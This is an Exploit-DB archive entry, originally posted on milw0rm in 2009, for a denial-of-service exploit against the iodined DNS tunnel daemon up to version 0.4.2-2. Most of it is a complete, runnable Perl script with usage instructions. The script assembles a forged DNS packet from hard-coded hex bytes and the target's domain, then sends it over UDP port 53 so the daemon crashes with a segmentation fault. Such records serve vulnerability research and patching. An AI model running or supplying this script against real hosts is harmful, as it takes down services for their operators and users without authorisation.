iodined <= 0.4.2-2 forged DNS packet Denial of Service Exploit

2009-04-27T00:00:00
ID EDB-ID:8544
Type exploitdb
Reporter Albert Sellares
Modified 2009-04-27T00:00:00

Description

iodined <= 0.4.2-2 (forged DNS packet) Denial of Service Exploit. Dos exploit for linux platform

                                        
                                            #!/usr/bin/perl

# iodined &lt;= 0.4.2 DoS exploit
#
# by Albert Sellares &lt;whats[at]wekk[dot]net&gt; 
# http://www.wekk.net
# 2009-04-26
#
# This exploit shuts down the iodined daemon using a forged DNS packet.
# It works on the last debian stable version (0.4.2-2).
#
# It produces a segmentation fault on the daemon side.

use IO::Socket;
use strict;

my $pkt_header = "\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x0b\x56\x63\x61\x61\x61\x69\x61\x71\x61\x61\x64";
my $pkt_footer = "\x00\x00\x0a\x00\x01\x00\x00\x29\x10\x00\x00\x00\x80\x00\x00\x00";

if ($#ARGV != 1) {
    print "shoot-iodined &lt;= 0.4.2 - &lt;whats[\@t]wekk.net&gt;\n".
          "=============================================\n".
          "Usage: ./shoot-iodined host domain\n".
          " * host: Host addr where iodined is listening\n".
          " * domain: Domain that iodined is using\n";
    exit 1;
}

my $host = $ARGV[0];
my $domain = $ARGV[1];
my $template = 'a24';
my @pkt;;
my $l;

push(@pkt, $pkt_header);
my @chunk = split(/\./, $domain);

foreach (@chunk) {
    $l = length $_;
    $template = $template . 'Ca'. $l;
    push(@pkt, $l);
    push(@pkt, $_);
}
$template = $template . 'a16';
push(@pkt, $pkt_footer);

$| = 1;
print " [*] Shooting iodined at host $host...\n";

my $sock = IO::Socket::INET-&gt;new(  Proto     =&gt; 'udp',
                                   PeerPort  =&gt; 53,
                                   PeerAddr  =&gt; $host) or die "Creating socket: $!\n";

$sock-&gt;send(pack($template, @pkt)) or die "send: $!";

print " [*] If the domain was ok, now the service is down.\n";

# milw0rm.com [2009-04-27]